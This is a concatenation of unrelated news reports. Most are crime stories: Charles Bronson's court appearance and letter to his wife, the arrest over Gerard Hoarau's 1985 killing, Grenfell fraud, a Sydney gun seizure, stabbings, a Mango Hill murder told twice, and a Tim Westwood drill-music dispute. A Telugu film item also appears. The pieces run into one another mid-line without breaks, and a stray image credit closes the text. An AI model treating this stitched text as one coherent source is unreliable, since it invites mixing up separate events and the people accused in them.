Bronson, who now calls himself Charles Salvador, was beamed into Leeds Crown Court facing charges of attacking a deputy prison governor.

During the hearing he seemed to be annoyed by the slow progress and said: 'Come on its nearly lunch time, fish and chips today.'

He also complimented the judge on his 'lovely wig'.

Bronson looked aged with a greying, white beard as he appeared from HMP Frankland in Durham.

The 65-year-old said he was annoyed to be told by the prison services he could not travel to Leeds Crown Court today for his hearing.

He was charged with attempting to commit GBH with intent after allegedly attacking Deputy Governor Mark Docherty at Wakefield prison on January 25 this year.

Entering the frame, and remaining standing throughout the hearing, Bronson told the court: 'Im Charles Arthur Salvador, born again artist.'

The notorious prisoner (pictured at Woodhill Prison on June 1 2001) appeared at Leeds Crown Court today

Charles Bronson is accused of attacking a man at the high security HMP Wakefield (pictured)

Speaking to judge Guy Kearl, QC, Bronson said: 'First of all I have been locked up for four-and-a-half decades and never used a computer.

'The last time I had a mobile phone it was the size of a house brick. Im not used to all this technology - Im not used to it.

'I dont like it, it makes me feel uncomfortable. It just doesnt go with me. I am an old fashioned prisoner and I am only standing here to save money.

'I should be in your court room as a respectful, honourable man, and facing what Im facing, Ive been talking to you through a TV screen - I feel like I have got a part in Star Trek. Its not me, its not right.'

Bronson (left in April 2004 and right in 1997) faced court over an alleged attack at the high security facility

Bronson, whose birth name is Michael Peterson, wore dark grey coloured jogging pants and light grey t-shirt, during the ten minute hearing.

He did not enter a plea and refused to speak to his legal team before the hearing, the court was told. However, the notorious prisoner will face a trial later in the year.

Bronson went on to say he should have been in the court room in person and not through a TV screen.

He told the court: 'I wanted to travel down and look out the prison van at all the countryside, the animals, people and buildings.

Bronson has only spent four months out of prison in 40 years and is pictured outside Wormwood Scrubs

'Youve denied me that today and you should be ashamed of yourself. Its not me, its not justice.

'I still believe British justice system is the best on the planet. But people like yourself, I think you are doing this country a dishonour. You should have had me in that court room today.'

After the hearing was coming to an end, Bronson shouted: 'Come on its nearly lunch time, fish and chips today.'

After being told his trial date by the judge, Bronson replied: 'Thats a lovely wig you have on there, do they do them in black?'

The TV screen was then quickly turned off by court staff. A trial date was set for November 12.

Britain's most violent prisoner Charles Bronson brands his wife a 'drunken s**g' in furious letter and says he would 'rather die in prison' than put up with her drinking problems

By Cheyenne Roundtree for MailOnline

Charles Bronson has told his wife he would 'rather die in prison' than live on the outside with her drinking problems in a furious letter.

Britain's most violent prisoner went on a furious rant against his wife Paula Williamson after a photo emerged of a young man with his head between her breasts during a wild night out in Tenerife.

Bronson, 65, vowed to divorce the former Coronation Street actress, who he labelled a 'drunken tart' and accused her of disrespecting him.

Bronson, 65, has vowed to divorce his wife Paula Williamson, a former Coronation Street actress, who he labelled a 'drunken tart' and accused her of disrespecting him. Pictured: Paula crying over her marriage last Thursday

The couple wed last November in HMP Wakefield, where Bronson is being held.

The amateur artist declares in a letter obtained by the Sun: 'I would prefer to die in prison than live your alcaholic [sic] existance [sic].'

Bronson, who changed his name behind bars to Salvador, went on his tirade in a letter, which is dated July 18 and filled with doodles.

Bronson writes: 'Ronnie Kray would say to you, ''You s**g!''

The former Coronation Street actress was pictured shopping for wedding dresses last year

'Paula: Keep on drinking, keep on showing yourself up, keep on disrespecting me, keep on pretending.

'Do what you need to survive behind closed doors, not in a bar with six geezers and snogging on camera.'

He adds: 'My life, my world, is a million miles away from yours. Your world stinks of falseness and drunken liars.

'You need to reflect and look inside your own heart, coz all I see is a deep black hole.

'My life is so much more at peace than yours.

'I told you from day one ''never ever humiliate your man''.

'You have a drug, drink problem, sort it out or do one.'

The couple wed last November in HMP Wakefield, where Bronson is being held. Although she initially believed he would laugh it off, Mrs Williamson said she has been left heartbroken after the notorious criminal, 65, called time on their marriage

On another page, Bronson continues to insult his wife, telling her to 'side with the Bethal Green geezer. Get fat and ugly together. Rats are best with rats.'

He adds: 'You have to live - survive - if you are needing sex, do it behind closed doors (it's a personal matter).

'You don't kiss nobody in a bar. Your (sic) Mrs Salvador... a respected lady.

'Now your (sic) a drunken tart for the world to see.'

However, Bronson did admit his love for his wife, saying: 'Without booze you are my angel - I worship you.

'With booze I don't love you. (I don't like a drunk.)

'You need to choose what you want. Your man! or booze! or drugs!

'If I never see you again remember - I did idolise you.'

Although she initially believed he would laugh it off, Mrs Williamson said she has been left heartbroken after the notorious criminal, 65, called time on their marriage.

She told the Sun: 'I'm absolutely devastated. I can't stop crying. I made one stupid mistake. It was just a dare.

'They took the snap and in that one second they ended my marriage.'

'I feel like he has chewed me up and spat me out just like he did with the last woman who fell for him.'

Mrs Williamson added: 'I have always stuck up for him. I've lost everything through this - my work, my family, my friends and my dignity.

'Now, I've lost my husband.'

Bronson is one of the country's most notorious prisoners and has spent the majority of the past four decades imprisoned for a series of violent crimes.

In recent years he has turned his hand to art and changed his surname from Bronson to Salvador in tribute to the Spanish surrealist artist Salvador Dali.

He first struck up a relationship with Miss Williamson - who also had roles in Emmerdale and Hollyoaks - back in 2013 after they started writing to one another.

Bronson has previously said he wants to have children with Miss Williamson, claiming he would be the 'best dad in the world'.

He was first locked up for armed robbery in 1974, but during his time inside he has taken hostages in 10 prison sieges, attacked at least 20 prison officers and caused 500,000 in damage in rooftop protests.An alleged drink driver who blew three times over the limit is accused of speeding through a school zone before bizarrely reversing his car when he was caught by police.

The 39-year-old was allegedly busted by officers doing 76km/h in a 40km/h zone outside a school in Brisbane on Thursday.

Video footage of the incident shows him reversing his four-wheel drive into another car, leaving one officer exclaiming 'What!?' in disbelief.

A 39-year-old man was allegedly speeding through a Brisbane school zone

The video then shows the officer demanding that the man pull up to the side of the road.

Superintendent Dave Johnson, Road Policing Command said dangerous driving which places the lives at risk 'is one hundred per cent unacceptable and police remain committed to finding these drivers and taking them off our roads'.

The Newport man is due to appear in the Brisbane Magistrates Court on August 22 charged with driving under the influence

He allegedly blew 0.162.

The man was also issued infringement notices for speeding and reversing when not safe.

No-one was injured as a result of the collision, with both vehicles sustaining minor damage.

The man is not associated with the school and police will allege he had travelled from Eatons Hill before being intercepted at Spring Hill.A man has been arrested in connection with the assassination of an exiled Seychelles political leader in London more than 30 years ago.

The Metropolitan Police's counter terrorism unit, along with Northern Irish police, arrested a 77-year-old man at an address in Antrim, Northern Ireland, on suspicion of conspiracy to murder Gerard Hoarau.

Hoarau, who was the leader of an opposition party on the Indian Ocean island, was shot dead on his front doorstep in Edgware, London on November 29, 1985.

His supporters said the Seychelles government, led by former communist president France-Albert Rene, were behind the shooting. They also claimed Hoarau received death threats prior to his assassination, and had survived earlier attempts on his life.

Gerard Hoarau was the leader of opposition party in Seychelles when he was exiled to Britain

Investigators had arrested a number of people in connection with the case, but no-one was ever charged with murder.

Timeline of a political hit: Lead up to 1985 doorstep assassination of Gerard Hoarau June 5, 1977 - Coup led to France Albert Rene ousted president James Mancham 1981 - Rene turns Seychelles into a one-party socialist state 1982 - Hoarau forced to flee South Africa and move to London after being linked to failed coup to overthrow Rene 1985 - Hoarau preparing to release document of bungled plot by Rene to kill him in September of that year November 29, 1985 - Hoarau shot dead on his doorstep in London Advertisement

Three people were convicted in 1986 for perverting the course of justice in relation to the investigation.

British police found that the 34-year-old's telephone line had been bugged. The type of weapon used to kill Hoarau, a Sterling sub-machine gun, was the same type of gun used by Seychelles police.

Hoarau was shot dead after the killer opened fire 11 times from the opposite side of the road, with three bullets hitting the exiled politician. One bullet even entered his neighbour's home.

There were virtually no witnesses and police at the time were unsure if killer had an accomplice.

The Metropolitan Police said a review of the probe was restarted in 2016, from which 'fresh lines of enquiry were established, leading to today's arrest'.

Police said the man arrested yesterday had not been previously been brought in for questioning beforehand

The new suspect had not previously been arrested as part of the investigation and he was taken to a south London police station for questioning.

Hoarau left the Seychelles after former President France-Albert Rene took power in a bloodless coup in 1977.

The former leader of the National Movement was forced to flee South Africa, where he had previously been in exile, after being linked to a failed attempt to topple Rene's government in 1981, where 50 mercenaries hijacked a plane to escape. Hoarau then moved to London in 1982.

Rene subsequently ruled the archipelago, comprising some 115 islands scattered off the east coast of Africa, until 2004, turning it into a one-party socialist state.

Hoarau had previously published well-documented allegations of corruption, and at the time of his death had intended to publish a three-page document alleging a bungled plot by Rene to kill him in September in Cannes, The Sunday Times reported at the time.

Hoarau left the Seychelles after former President France-Albert Rene took power in a bloodless coup in 1977. Pictured: A photo from near the crime scene in 1985A 33-year-old man has been charged with fraudulently obtaining money meant for Grenfell Tower survivors and bereaved families.

Antonio Gouveia is charged with two counts of fraud by false representation and will appear before magistrates in Westminster today.

It is claimed he is neither a survivor of the tragedy nor someone left bereaved, but attempted to fraudulently get his hands on money meant for those affected.

A man has become the ninth person charged with fraud in relation to the Grenfell disaster

A Scotland Yard spokesman said: 'Antonio Gouveia, 33, will appear in custody at Westminster Magistrates' Court on Friday, 3 August charged with two counts of fraud by false representation.

'He was arrested on Thursday, 2 August.

'Gouveia is alleged to have fraudulently obtained money intended for those affected by the tragedy while being neither a survivor nor a bereaved family member himself.'

Five fraudsters have so far been jailed for defrauding charities and authorities out of money in the wake of the fire on June 14 last year, which claimed 72 lives.

Another man, Yonatan Eyob, pleaded guilty to fraud by false representation earlier this week after he wrongly claimed 11,000 towards a new home.

Two other men are currently awaiting trial on fraud charges.A man has been charged after police allegedly uncovered dozens of firearms inside his home.

The 57-year-old man was arrested on Thursday after authorities searched his home on Sydney's northern beaches.

The search was promoted after Australian Border Force (ABF) officers allegedly uncovered 14 consignments of firearm parts being imported without a permit, earlier this year.

During the search, police allegedly found 21 unregistered rifles, four unregistered prohibited firearms and an unregistered air pistol.

In addition, police also allegedly uncovered eight registered firearms, three registered handguns, large quantities of ammunition and various firearms accessories.

The firearms were seized by authorities and will undergo forensic and ballistic examination.

Police have seized dozens of unregistered firearms from a property in Sydney's Northern Beaches. The man has been arrested and charged

The man was arrested and taken to Manly Police Station where he was charged with numerous possession offences.

He was refused bail and his firearms licence was also suspended by police.

He is expected to appear at Parramatta Bail Court on Friday.

ABF Investigations Superintendent Garry Low said the detection of the firearms highlighted the commitment to remove dangerous weapons from the community.

'Any firearm in the wrong hands can be extremely dangerous. Which is why we work so closely with our state police partners to ensure any weapons coming into the country are imported and kept in accordance with the law,' Superintendent Low said.

NSW Police Drug and Firearms Squad Commander, Detective Acting Superintendent Jason Weinstein said it was a good time to remind the community about the punishments for prohibited firearm possession as the Firearms Amnesty date closes in.

'The Firearms Amnesty is an opportunity to legally dispose or register an unregistered firearm or firearm-related item without penalty until 30 September 2018,' Det A/Supt Weinstein said.

'The maximum penalty for possessing a prohibited firearm is 14 years imprisonment, and an unregistered firearm is five years, so now is the time to hand them in.'Varun Tej's Project Reaches Ram:- Varun Tej received wide applause for his performance in F2: Fun and Frustration that released during Sankranthi. The actor is on a break and he flew to USA to lose weight. He will soon join the sets of his next film titled Valmaki which will is an action drama directed by Harish Shankar. Before this, Varun Tej was in talks with director Sagar Chandra and the film has been kept on hold by Varun Tej due to various reasons.

The latest update is that once Varun Tej walked out of the project, Sagar Chandra approached Ram for the film and got his nod. The film is said to be a romantic entertainer set during the pre-independence era. Ram was extremely impressed with the stuff and signed the film. His uncle Sravanthi Ravi Kishore will produce this film on Sri Sravanthi Movies banner. Ram is busy with iSmart Shankar directed by Puri Jagannadh. Sagar Chandra's project will start during the second half of this year.A man has been charged with the murder of his 75-year-old mother after police discovered the deceased woman's body in her home on Thursday.

She had allegedly been dead for more than 24 hours by the time authorities were called to the property in Mango Hill, north of Brisbane, just after 1pm.

The woman's 50-year-old son, who made the triple zero call, was also found at the house, allegedly with self-inflicted injuries.

A man has been charged with the murder of his 75-year-old mother after police discovered the deceased woman's body in her home on Thursday

She had allegedly been dead for more than 24 hours by the time authorities were called to the property in Mango Hill, north of Brisbane

Queensland Ambulance paramedics rushed the man to the Royal Brisbane and Women's Hospital, 27km from Mango Hill, where he is due to appear at a bedside hearing on Friday afternoon as police investigate the possible murder-suicide.

Detective Acting Senior Sergeant Richard Hoffman told The Courier Mail that the man was in a stable condition while a friend of the dead woman, who remained anonymous, said she was shocked at the news.

'She was a kind lady, there were times where she's dropped off little gifts at the front of my house, she was beautiful,' she said.

'She never caused any trouble and she was very independent, she kept to herself but she was a loving mother.'

The woman's 50-year-old son, who made the triple zero call, was also found at the house, allegedly with self-inflicted injuries

There were reports of a large blood stain near the front door of the house on Topaz Drive, which remains sectioned off with police tape

The friend further added that the son was 'a very nice guy'.

Speaking to reporters on Thursday, Snr-Sgt Hoffman asserted that police would speak to the man in due time.

'Police are currently with him at the hospital and he's having his injuries treated,' he said.

There were reports of a large blood stain near the front door of the house on Topaz Drive, which remains sectioned off with police tape.A teen who was allegedly stabbed by a fellow student at a prestigious school has forgiven her attacker.

The 17-year-old girl was stabbed in the shoulder in a bathroom at a school in Adelaide's north, about 3pm, on Wednesday.

Appearing in Adelaide Youth Court on Thursday, the court heard the victim and accused, 14, had never met and the knife attack was random, Seven News reported.

Scroll down for video

The victim (middle with her parents) says she forgives her alleged attacker who stabbed her in the shoulder

The 14-year-old accused (pictured) appeared in Adelaide's Youth Court on Thursday

'I didn't know her...I didn't even know she went to my school because she was in casual clothing,' the victim said.

The alleged victim said she was traumatised over the incident.

'...It's happened now and you can't really take back what's happened.'

After the stabbing, it is alleged the accused, 14, apologised and ran away.

However, police said she left her backpack in the bathroom which had her name on it, and they found her moments later.

She was arrested by police and taken into custody where she was charged with aggravated intentionally cause harm and five counts of unlawful threats.

The victim said she has no hard feelings towards her alleged attacker and hopes she has support.

'I just hope she has every support that she needs to get over that.'

The accused has been remanded in custody.Tim Westwood has today been accused of making 'blood money' after a picture of the ex-Radio 1 DJ standing with two murdered drill rappers emerged and he is again drawn into a deadly gang feud.

The 60-year-old son of a bishop has become caught up in violent gang music, with several drill videos he promotes ending in bloodshed.

The DJ was pictured with Sidique Kamara, 23, also known as Incognito, and Rhyhiem Barton, 17, when their group Moscow17 appeared on his YouTube TV channel.

Mr Kamara was stabbed to death in Camberwell, south-east London, on Wednesday, just weeks after releasing a tribute song to Mr Barton, who died on the same street after a shooting in May.

Jen Lock, from the Lives Not Knives Ealing group, has repeatedly complained to Westwood, who insists he is just 'supporting rap groups not gangs'.

Mrs Lock said: 'He knows exactly what effect its having. Hes making blood money off the hits its generating on YouTube. He has blood on his hands'.

Tim Westwood, pictured with members of the Moscow17 Drill rap group including Sidique Kamara, circled left, and Rhyhiem Barton, circled right, who have both been murdered

The anti-knife crime campaigner complained to Westwood directly in April.

She told The Sun: 'I asked his team how he can justify getting gangs on to promote, glorify and encourage them.

'They said its an expression of art. It makes my blood boil that he tries to play innocent'.

At the time of both Camberwell murders, Mr Westwood was hundreds of miles away from the scene of the murder, in which he played no part.

But the latest death of a rapper he promoted has again thrown into question his role in feting drill videos that provoke violence.

Drill music  a form of rap with violent lyrics  is associated with gangs, and many drill videos feature masked rappers threatening violence and bragging about drugs, knives and guns.

Met Police Commissioner Cressida Dick has linked its videos to an increase in knife and gun crime.

Once one of the countrys best- known DJs, Mr Westwood has been criticised for featuring rap videos inciting violence on his YouTube channel.

In June, a judge at Kingston Crown Court in west London singled him out for criticism as five members of the 1011 gang were jailed for a total of more than ten years for plotting a machete attack on the rival 12 World gang.

Judge Ann Mulligan, who also banned the rap group from making their music, said: The defendants made an appearance on the TimWestwoodTV channel, introduced as the 1011 gang.

It is fortunate that video is no longer publicly available. These are high-profile videos taunting and ridiculing the 12 World gang and referring to actual fights.

They reference murders, stabbings, drug deals, as well as appalling attitude to women. The videos incite violence.

A month earlier, Mr Westwood was mentioned at the Old Bailey by Judge Nicholas Cooke QC, who said drill music was putting innocent people in harms way as two gang members were convicted of murdering an innocent music producer following a feud played out in rap videos featured by the DJ.

Both men were murdered only yards from each other on Warham Street, Camberwell

Dean Pascal-Modeste, 21, was stabbed 14 times by Devone Pusey, 20, and Kai Stewart, 18, as he was on his way to a recording session on February 24 last year.

He was hunted down in south-east London by members of the B Side gang from Lewisham because he was friends with their rivals the Splash gang, who were locked in a poisonous YouTube rap feud, exchanging barbs in their online videos on TimWestwoodTV. A Met Police database that tracks more than 600 suspected gangsters across 1,100 YouTube clips, names 32 videos on his channel that potentially incite violence.

The DJ, who hosted the BBC Radio 1 Rap Show for 20 years until 2013, earns money from advertising on the channel.

It has amassed 388million views by broadcasting clips including hundreds of rap videos from mainstream stars and suspected gang members.

Many that show suspected gang members in balaclavas making threats against rivals are still on YouTube.

This year, the family of a murdered teenager accused Mr Westwood of glamorising knife crime after he recorded a video with a gang celebrating the killing. Abdullahi Tarabi, 19, was stabbed after being chased through a west London estate in daylight on April 11 last year.

Two 17-year-olds defendants were cleared following an Old Bailey trial last October. Around the same time, Mr Westwood posted a music video he had recorded with a rap gang when they boasted that the victim got splashed and I dont feel sorry for his mum.

The victims mother, Fawziya Ahmed, said: This is hurtful. I cant believe someone would say that.

It is no longer on TimWestwoodTV, but the song, Pray For The Pagans, is still on YouTube.

The victims sister, Muna Tarabi, added: How have these boys been allowed to go on with Tim Westwood, who is promoting them on his TV channel? Its wrong. It is glamorising knife crime. They are actively celebrating it in this video and there is nothing we can do.

Mr Westwood was hurt in a shooting in 1999 after a dispute with a south London gang that was trying to extort money from him.

A spokesman for the DJ, whose late father William was the Anglican Bishop of Peterborough, said he was unavailable to comment.

But Mr Westwoods spokesman has previously said: TimWestwoodTV gives up-and-coming artists a platform to be heard by a wider audience. The YouTube channel provides a non-profit outlet for young artists to express their talent and help provide them with an opportunity to get into the music industry.A police officer has been taken to hospital by his colleagues after reports he breathed in an unknown chemical at a flat in Manchester.

Police, paramedics and several fire engines were seen on a quiet cul-de-sac in Wythenshawe after the incident on Thursday evening.

Officers have cordoned off the close with residents evacuated from their homes, but police say there is no wider threat to the public. Residents said a man was arrested.

Three fire engines were called to the scene and firefighters wearing specialist breathing apparatus are now trying to establish what the chemical is.

The scene in Manchester on Thursday evening after a police officer was taken to hospital

A fire service spokesman said: 'An officer was taken to hospital by his colleagues after suffering the effects of the inhalation of an as yet unknown chemical.

'A cordon is in place and evacuation has taken place of adjacent properties.'

A spokesman for the North West Ambulance Service said a hazardous area response team were sent to Bryony Close at 8.18pm after reportsof a strong smelling chemical.

They said no-one was taken to hospital by their crews.

GMP tweeted at 8.41pm: 'Please avoid Bryony Close area for time being. People turning up at the scene distracts our staff dealing with the incident. No threat to the public. Thanks.'A 21-year-old girl has allegedly been raped by a man in his 50s at a Christian summer gathering run by 'London's poshest church'.

Police were called in the early hours of Wednesday to the event, called Focus Festival 2018, which took place at Somerley Estate on the Hampshire-Dorset border.

A 54-year-old man was arrested at the scene on suspicion of rape and is currently being quizzed by Hampshire Police.

Focus Festival 2018 took place at Somerley Estate on the Hampshire-Dorset border (file image)

Police were called in the early hours of Wednesday to the event at Somerley Estate (pictured)

The event was hosted by the Kensington-based Holy Trinity Brompton (HTB), which is famed for developing the Alpha course that explains the basics of Christianity.

The event, billed as a summer festival, sees thousands of Christians gather for a week of teaching, worship and networking each year.

Festival goers reported seeing police on site as those who were camping on the estate's grounds were packing up to leave the event, which finished on Tuesday.

A police spokesman said: 'We were called at 05.06am on August 1 to a report of a 21-year-old woman being sexually assaulted at the Focus Festival which was being held at the Somerley Estate, north of Ringwood at some point between 1.30am and 2am.

The Focus event has been running since 1992. This year's speakers included Bishop of London Dame Sarah Mullally and US speaker RT Kendall (file image taken from Focus website)

Festival goers reported seeing police officers on site at the estate after the event (file image)

'The victim is receiving support from specialist officers.

'A 54 year-old man who is not from Hampshire has been arrested on suspicion of rape and remains in custody at this time.'

The Focus event has been running since 1992. This year's speakers included Bishop of London Dame Sarah Mullally and US author and Christian speaker RT Kendall.

David Cameron's speechwriter Danny Kruger once described HTB as 'the Finsbury Park mosque for well-off Londoners' and one of the 'posh white churches of central London'.

MailOnline has contacted the event organisers for comment. HTB declined to comment, telling Premier Christian Radio it was a police matter.The mother of a toddler who died as a result of internal trauma has broken her silence over the horrific incident, as her ex-partner is charged with the young girl's murder.

Emergency crews were called to a house at Tarro, in the Hunter region of NSW, on June 19 after reports a 20-month-old girl was in cardiac arrest.

The young girl, Hayley Rose, was rushed to John Hunter Hospital with her mother, Jessica Greatorex, riding in the ambulance behind her.

Hayley was unable to be revived.

Hayley Rose (pictured), aged 20-months-old, died as a result of internal trauma after going into cardiac arrest and being rushed to hospital

The girl's mother, Jessica Greatorex (pictured) has broken her silence over the horrific incident, describing her deceased daughter as a 'beautiful, happy, bubbly toddler' who 'always had a smile on her face'

The child had suffered horrific injuries to her torso, head and internal organs, including broken ribs and a collapsed lung

'Not long after getting there I was then told that she didn't make it,' Ms Greatorex told Nine News.

The child had suffered horrific injuries to her torso, head and internal organs, including broken ribs and a collapsed lung.

Timothy Andrew Whiteley, 26, has since been charged with murder over the suspicious death.

Mr Whiteley was in a de facto relationship with Ms Greatorex and had recently moved in to the family's home, according to the ABC.

Commemorating her deceased child, Ms Greatorex described young Hayley as a 'beautiful, happy, bubbly toddler' who 'always had a smile on her face.'

The bereaved mother also recalls the horrifying moment she realised something was wrong with her daughter.

'She went down for a sleep, and she just didn't wake back up.'

Timothy Andrew Whiteley (pictured), 26, has since been charged with murder over the toddler's suspicious death

Police arrested Mr Whiteley (pictured centre) at a Tanilba Bay home on Thursday morning

Authorities immediately treated the death as suspicious.

At about 8.30am on Thursday, homicide detectives swooped on a home in the nearby town on Tanilba Bay, where they arrested Mr Whiteley.

He was taken to Raymond Terrace Police Station where he was charged with murder.

Detective Wayne Wolpole, who led the investigation into the man's arrest, had come after a special task force was set up to investigate the young girl's death.

'As a result of inquiries, Strike Force Nerium was formed with homicide investigators from Sydney and detectives from Port Stevens/Hunter police district,' he said shortly before Mr Whiteley was charged.

Mr Whiteley was taken to Raymond Terrace Police Station where he was charged with murder

'Those investigations have been ongoing since that night and this morning at 8.30am it resulted in the arrest.

'That male has been brought to Raymond Terrace Police Station, he is currently in the process of being charged with the murder of that little girl.'

Detective Walpole confirmed Mr Whiteley was due to face Newcastle Local Court on Friday and police were hoping to have any application for bail refused.The dramatic moment police cornered a gang of alleged criminals in an alleyway has been captured on film after a week-long pursuit and a string of violent robberies.

Police vehicles swooped in on the carload of young men in a backstreet of Alexandria, in Sydney's inner west on Wednesday evening, as terrified onlookers watched from the balconies of nearby apartments.

The alleged criminals, driving a stolen Mercedes SUV, reversed into a police car in an attempt to ram their way out as plain-clothed officers closed in, pulling their guns and barking orders.

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Police vehicles swooped in on a carload of alleged criminals in a backstreet of Alexandria, in Sydney's inner west on Wednesday evening, as terrified onlookers watched from the balconies of nearby apartments

The alleged criminals, driving a stolen Mercedes SUV, reverse into a police car in an attempt to ram their way out as plain-clothed officers close in, pulling their guns and barking orders

'Get out of the car, get out of the f***ing car,' police can be heard shouting in footage of the incident.

One of the young men attempted to fight officers away while three others - including the driver - were dragged from the back of the vehicle and wrestled to the ground.

'When I looked out the window, that's when I was most frightened because I didn't know what was going on,' eyewitness Charles Graf recounted, in conversation with Ten News.

'My son was inside, he's only six I told him 'Just get down on the floor'. Obviously you don't know what's going to happen, but once the police officers identified themselves everything was okay.'

Constable Mia Toutounji sustained a minor laceration on her head during the fracas, while Senior Constable Jackson Polak of the dog squad suffered cuts and bruises.

The driver of the stolen car, 20-year-old Dean Saunders (pictured), was arrested at the scene along with three teenagers

Police believe that Saunders (pictured) and his co-accused are responsible for a string of violent robberies that have taken place across Sydney in the past fortnight

The driver of the stolen car, 20-year-old Dean Saunders, was arrested at the scene along with three teenagers: all of whom police believe were involved in a string of robberies across Sydney in the past fortnight.

The Mercedes was stolen from Boronia Rd, in the affluent eastern Sydney suburb of Bellevue Hill, on Tuesday July 24th.

That same morning it was used in an attempted robbery in Ultimo and a bag snatch in Pyrmont, police allege.

It is thought the group are also responsible for another theft that occurred a week later, on July 30th, in Haymarket.

Here, at about 4am, a man was kicked, punched, and threatened with a sword by four males who stole his iPhone and allegedly fled in a silver Mercedes.

The dramatic moment police cornered the gang of alleged criminals in an inner-city alleyway was captured on film

That same Mercedes was spotted driving along the Anzac Bridge on Wednesday afternoon, with police later spotting it in the neighbouring suburb of Glebe and following it to Alexandria.

'They [the alleged criminals] were observed to make observations at an Omega convenience store,' Assistant Commissioner Mark Walton told reporters on Thursday.

'All the males were seen to put hoods and gloves on and police at that time acted to stop the car and detain the four occupants by blocking the stolen vehicle.

'The driver of the car has acted aggressively and driven into stationary police vehicles a number of times in an attempt to escape.'

Saunders, the driver, has never held a licence, and appeared before Parramatta Local Court on Thursday while his three under-aged co-accused were mentioned in the children's court.

All four young males were refused bail.A former bikie member of the Black Uhlans has been arrested for allegedly stabbing a millionaire in the chest - with parents and school children watching close by.

Steven Smith, 32, allegedly punched Gold Coast businessman Paul Picone and stabbed him in the chest.

Smith reportedly worked in a cleaning business that Mr Picone and his family ran, according to 9 News.

9 News video footage also showed authorities tailing Smith's car, which ended in a tense moment when a police officer pointed his gun at the vehicle to apprehend the suspect.

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Steven Smith, 32, was arrested for allegedly stabbing Gold Coast millionaire Paul Picone in the chest - with parents and school children watching close by

Police alleged that Smith, who was driving a Mitsubishi Triton, confronted Mr Picone, who had parked his car at Firth Park in Mudgeeraba.

A fight allegedly ensued between the two, which eventually led to the stabbing.

Parents and children were reportedly present at the park for rugby training when the incident occurred.

Bystanders intervened, with one witness allegedly going after Smith while another one came to Mr Picone's aid, the Gold Coast Bulletin reported.

When the suspect was apprehended, police will also allege that Smith told them he had a camouflage handle knife in his waistband.

Following his arrest, Smith was charged with affray, unlawful wounding and knife possession.

In court, defence lawyer Campbell MacCallum asked for the case to be adjourned to the 7th of August to give way for a bail application for his client.

Bystanders intervened, with one witness allegedly going after Smith while another one came to Mr Picone's aid

Gold Coast billionaire and businessman Paul Picone (left) is currently in the Gold Coast University Hospital for treatment

According to Gold Coast Bulletin, Mr MacCallum added, 'I note from the QP9 material that there has been no complaint made on the charges and whoever hears the application on Tuesday will want to be appraised whether the complaint was made'.

Meanwhile, Mr Picone is in the Gold Coast University Hospital for treatment.The son of murdered British property tycoon Derek Arber has been arrested by Greek authorities at Athens International Airport.

The young man went on the run hours after Mr Arber, 65, a popular and admired face in the local community, was discovered dead on the Greek island of Antiparos.

According to local media, the businessman's son, the prime suspect in the murder, fled Greece before a warrant for his arrest had been issued.

Derek Arber (right) with his wife Lilly. He owned several properties on the Greek island of Antiparos

The suspect is said to have travelled to Spain in order to lay low but returned to Athens on Tuesday night and was swiftly arrested by authorities, ten days after his father's death.

Derek Arber's son has been transferred to Syros, where the prosecutor for the area of the Cyclades will listen to his testimony.

The arrest comes ten days after Mr Arber was found in a pool of blood at his residence in the small Cycladic island of Antiparos, where he was a permanent resident.

Mr Arber was stabbed to death at his home in the town of Agios Georgios on the island of Antiparos, Greece

Onlookers who knew Mr Arber said he had been out for dinner on Saturday with his son Robert, who The Times named as part of the murder investigation.

Restaurant-goers said the pair seemed to have been engaged in a difficult conversation which descended into a full-blown argument. The two men then reportedly left the restaurant together.

Mr Arber was found dead on Sunday 21 July at his house. Police said that he had been stabbed in the back with a sharp object, probably a screwdriver, while his neck bore marks of strangling.

His son has been treated as the main suspect from the beginning of the murder investigation.

Mr Arber and his wife were said to be well known among the local community on the island

Eyewitnesses said that Mr Arber had last been seen with his son in a restaurant the night before his death.

They said the two of them seemed to have been engaged in a heated conversation which became a full-blown argument. Locals added that father and son left the restaurant together.

Derek Arber was well-known in the Antiparos business scene and was well liked by locals who praised his adventurous spirit and his intelligence, according to Greek media.

Mr Arber and his wife are the owners of Lilly's Villas, a company which runs anumber of holiday properties on the island

He owned Lilly's Villas, a group of independent houses built in the style of a small village on the hills of the town of Agios Georgios, with his wife Lilly Arber.

His residence was located within the complex of houses. Arber had been living permanently on the island and was a British citizen.

He reportedly also had a Greek passport. No one has yet been charged over the killing.An elderly woman found dead at her home north of Brisbane on Thursday was allegedly killed by her son.

The home in Topaz Drive, Mango Hill remains a crime scene, where police found the body of a woman, 75, on Thursday afternoon following a triple zero call made at around 1pm.

A man, 50, was found at the scene suffering what police described as 'significant injuries', believed to be self-inflicted wounds.

Much of Topaz Drive in Mango Hill north of Brisbane remains taped off after the body of a elderly woman was found at a home (pictured)

He was taken to Royal Brisbane Women's Hospital under police guard, where he's now in a stable condition.

Police confirmed he's known to the deceased woman but haven't confirmed media reports that he's the woman's son.

'He will be talking to police in due course,' Acting Detective Senior Sergeant Richard Hoffman told reporters on Thursday night.

Police say they're not seeking any further suspects at this time.

Large blood stains seen near the front door were covered up with sheets so neighbours, passers-by and school children returning home weren't confronted with the grisly scene.

Located around the corner from the tragic scene, Mango Hill State School advised parents on its Facebook page to avoid Topaz Drive during pick-up but reassured there was no threat to the school or the public.

Blood outside the home was later covered up so neighbours and schoolchildren returning home weren't confronted by the grisly scene

Pupils were seen walking home from school, escorted by police through the blocked off area with the help of school staff.

Residents were shocked to hear what happened.

'It's a safe family-orientated neighbourhood. This has just rocked everyone,' one neighbour told 9 News.

Another woman added: 'I've seen the lady a few times outside, walking down the street and watering her plants. She was pretty nice.'

Residents were shocked to see dozens of police (pictured) in what they described as a safe, family-orientated neighbourhood

Shirley Anderson told the ABC: 'It really is a lovely area  it's just wrong. It's just unbelievable. It's so sad. Children don't understand what's happening. It's not good at all.'

Aerial footage of the tragic scene showed a large part of the street taped off as forensic investigators examined the property.

Much of the street remained blocked off on Thursday night.

Anyone with information in relation to the incident should call Policelink on 131 444.

If you or anyone around you is struggling and/or seeking support, call Lifeline on 13 11 14 or beyondblue on 1300 224 636.(Image source from: Twitter.com/dvvmovies)

